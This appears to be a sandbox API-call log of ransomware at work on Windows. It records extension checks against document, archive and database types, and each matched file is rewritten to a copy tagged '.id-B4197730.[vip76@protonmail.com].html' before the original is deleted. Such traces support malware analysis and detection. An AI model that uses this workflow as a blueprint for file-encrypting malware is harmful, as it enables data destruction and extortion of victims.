	[0065.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0065.992] lstrlenW (lpString=".doc") returned 4
	[0065.992] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0065.992] lstrlenW (lpString=".docx") returned 5
	[0065.993] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0065.993] lstrlenW (lpString=".pdf") returned 4
	[0065.993] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0065.993] lstrlenW (lpString=".xls") returned 4
	[0065.993] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0065.993] lstrlenW (lpString=".xlsx") returned 5
	[0065.993] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0065.993] lstrlenW (lpString=".ppt") returned 4
	[0065.993] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0065.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0065.993] lstrlenW (lpString=".zip") returned 4
	[0065.993] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0065.993] lstrlenW (lpString=".rar") returned 4
	[0065.993] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0065.993] lstrlenW (lpString=".bz2") returned 4
	[0065.993] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0065.993] lstrlenW (lpString=".7z") returned 3
	[0065.993] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0065.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0065.993] lstrlenW (lpString=".dbf") returned 4
	[0065.993] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0065.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0065.993] lstrlenW (lpString=".1cd") returned 4
	[0065.993] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0065.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0065.993] lstrlenW (lpString=".jpg") returned 4
	[0065.994] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0065.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0065.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0065.994] lstrlenW (lpString=".doc") returned 4
	[0065.994] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0065.994] lstrlenW (lpString=".docx") returned 5
	[0065.994] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0065.994] lstrlenW (lpString=".pdf") returned 4
	[0065.994] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0065.994] lstrlenW (lpString=".xls") returned 4
	[0065.994] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0065.994] lstrlenW (lpString=".xlsx") returned 5
	[0065.994] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0065.994] lstrlenW (lpString=".ppt") returned 4
	[0065.994] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0065.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0065.994] lstrlenW (lpString=".zip") returned 4
	[0065.994] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0065.994] lstrlenW (lpString=".rar") returned 4
	[0065.994] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0065.994] lstrlenW (lpString=".bz2") returned 4
	[0065.994] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0065.994] lstrlenW (lpString=".7z") returned 3
	[0065.994] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0065.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0065.994] lstrlenW (lpString=".dbf") returned 4
	[0065.995] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0065.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0065.995] lstrlenW (lpString=".1cd") returned 4
	[0065.995] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0065.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0065.995] lstrlenW (lpString=".jpg") returned 4
	[0065.995] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0065.995] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0065.995] lstrlenW (lpString="FileSystemMetadata.xml") returned 22
	[0065.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0065.995] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=281) returned 1
	[0065.995] CloseHandle (hObject=0x334) returned 1
	[0065.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 0x220
	[0065.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0065.996] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.996] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0065.996] GetLastError () returned 0x0
	[0065.996] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x119, lpOverlapped=0x0) returned 1
	[0065.997] WriteFile (in: hFile=0x370, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x120, lpOverlapped=0x0) returned 1
	[0065.998] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.999] WriteFile (in: hFile=0x370, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x100, lpOverlapped=0x0) returned 1
	[0066.000] SetEndOfFile (hFile=0x370) returned 1
	[0066.000] CloseHandle (hObject=0x370) returned 1
	[0066.001] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.001] SetEndOfFile (hFile=0x334) returned 1
	[0066.002] CloseHandle (hObject=0x334) returned 1
	[0066.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0066.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 1
	[0066.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0066.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0066.003] lstrlenW (lpString=".doc") returned 4
	[0066.003] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.003] lstrlenW (lpString=".docx") returned 5
	[0066.003] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0066.003] lstrlenW (lpString=".pdf") returned 4
	[0066.003] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.003] lstrlenW (lpString=".xls") returned 4
	[0066.003] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.004] lstrlenW (lpString=".xlsx") returned 5
	[0066.004] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0066.004] lstrlenW (lpString=".ppt") returned 4
	[0066.004] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0066.004] lstrlenW (lpString=".zip") returned 4
	[0066.004] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.004] lstrlenW (lpString=".rar") returned 4
	[0066.004] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.004] lstrlenW (lpString=".bz2") returned 4
	[0066.004] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.004] lstrlenW (lpString=".7z") returned 3
	[0066.004] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0066.004] lstrlenW (lpString=".dbf") returned 4
	[0066.004] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0066.004] lstrlenW (lpString=".1cd") returned 4
	[0066.004] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0066.004] lstrlenW (lpString=".jpg") returned 4
	[0066.004] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0066.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0066.004] lstrlenW (lpString=".doc") returned 4
	[0066.004] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.004] lstrlenW (lpString=".docx") returned 5
	[0066.005] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0066.005] lstrlenW (lpString=".pdf") returned 4
	[0066.005] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.005] lstrlenW (lpString=".xls") returned 4
	[0066.005] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.005] lstrlenW (lpString=".xlsx") returned 5
	[0066.005] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0066.005] lstrlenW (lpString=".ppt") returned 4
	[0066.005] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0066.005] lstrlenW (lpString=".zip") returned 4
	[0066.005] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.005] lstrlenW (lpString=".rar") returned 4
	[0066.005] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.005] lstrlenW (lpString=".bz2") returned 4
	[0066.005] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.005] lstrlenW (lpString=".7z") returned 3
	[0066.005] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0066.005] lstrlenW (lpString=".dbf") returned 4
	[0066.005] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0066.005] lstrlenW (lpString=".1cd") returned 4
	[0066.005] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0066.005] lstrlenW (lpString=".jpg") returned 4
	[0066.005] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.006] lstrcmpiW (lpString1=".HTM", lpString2=".html") returned -1
	[0066.006] lstrlenW (lpString="OSPP.HTM") returned 8
	[0066.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0066.007] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=174528) returned 1
	[0066.007] CloseHandle (hObject=0x334) returned 1
	[0066.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 0x20
	[0066.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0066.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0066.007] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.007] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0066.009] GetLastError () returned 0x0
	[0066.009] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x2a9c0, lpOverlapped=0x0) returned 1
	[0066.021] WriteFile (in: hFile=0x370, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x2a9d0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x2a9d0, lpOverlapped=0x0) returned 1
	[0066.025] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.025] WriteFile (in: hFile=0x370, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0066.025] SetEndOfFile (hFile=0x370) returned 1
	[0066.026] CloseHandle (hObject=0x370) returned 1
	[0066.030] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.030] SetEndOfFile (hFile=0x334) returned 1
	[0066.469] CloseHandle (hObject=0x334) returned 1
	[0066.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0066.469] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 1
	[0066.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0066.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0066.470] lstrlenW (lpString=".doc") returned 4
	[0066.470] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1
	[0066.470] lstrlenW (lpString=".docx") returned 5
	[0066.470] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1
	[0066.470] lstrlenW (lpString=".pdf") returned 4
	[0066.470] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1
	[0066.470] lstrlenW (lpString=".xls") returned 4
	[0066.470] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1
	[0066.470] lstrlenW (lpString=".xlsx") returned 5
	[0066.470] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1
	[0066.470] lstrlenW (lpString=".ppt") returned 4
	[0066.470] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1
	[0066.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0066.470] lstrlenW (lpString=".zip") returned 4
	[0066.470] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1
	[0066.470] lstrlenW (lpString=".rar") returned 4
	[0066.470] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1
	[0066.470] lstrlenW (lpString=".bz2") returned 4
	[0066.470] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1
	[0066.471] lstrlenW (lpString=".7z") returned 3
	[0066.471] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1
	[0066.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0066.471] lstrlenW (lpString=".dbf") returned 4
	[0066.471] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1
	[0066.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0066.471] lstrlenW (lpString=".1cd") returned 4
	[0066.471] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1
	[0066.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0066.471] lstrlenW (lpString=".jpg") returned 4
	[0066.471] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1
	[0066.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0066.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0066.471] lstrlenW (lpString=".doc") returned 4
	[0066.471] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1
	[0066.471] lstrlenW (lpString=".docx") returned 5
	[0066.471] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1
	[0066.471] lstrlenW (lpString=".pdf") returned 4
	[0066.471] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1
	[0066.471] lstrlenW (lpString=".xls") returned 4
	[0066.471] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1
	[0066.471] lstrlenW (lpString=".xlsx") returned 5
	[0066.471] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1
	[0066.471] lstrlenW (lpString=".ppt") returned 4
	[0066.471] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1
	[0066.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0066.471] lstrlenW (lpString=".zip") returned 4
	[0066.471] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1
	[0066.471] lstrlenW (lpString=".rar") returned 4
	[0066.471] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1
	[0066.471] lstrlenW (lpString=".bz2") returned 4
	[0066.471] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1
	[0066.472] lstrlenW (lpString=".7z") returned 3
	[0066.472] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1
	[0066.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0066.472] lstrlenW (lpString=".dbf") returned 4
	[0066.472] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1
	[0066.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0066.472] lstrlenW (lpString=".1cd") returned 4
	[0066.472] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1
	[0066.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0066.472] lstrlenW (lpString=".jpg") returned 4
	[0066.472] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1
	[0066.472] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0066.472] lstrlenW (lpString="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 53
	[0066.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0066.473] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=387356) returned 1
	[0066.473] CloseHandle (hObject=0x334) returned 1
	[0066.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0066.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0066.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0066.473] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.473] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0066.474] GetLastError () returned 0x0
	[0066.474] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x5e91c, lpOverlapped=0x0) returned 1
	[0066.535] WriteFile (in: hFile=0x340, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x5e920, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x5e920, lpOverlapped=0x0) returned 1
	[0066.547] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.547] WriteFile (in: hFile=0x340, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0066.547] SetEndOfFile (hFile=0x340) returned 1
	[0066.547] CloseHandle (hObject=0x340) returned 1
	[0066.555] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.555] SetEndOfFile (hFile=0x334) returned 1
	[0066.559] CloseHandle (hObject=0x334) returned 1
	[0066.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0066.559] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 1
	[0066.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0066.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0066.574] lstrlenW (lpString=".doc") returned 4
	[0066.574] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.574] lstrlenW (lpString=".docx") returned 5
	[0066.574] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0066.574] lstrlenW (lpString=".pdf") returned 4
	[0066.574] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.574] lstrlenW (lpString=".xls") returned 4
	[0066.574] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.574] lstrlenW (lpString=".xlsx") returned 5
	[0066.574] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0066.574] lstrlenW (lpString=".ppt") returned 4
	[0066.574] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
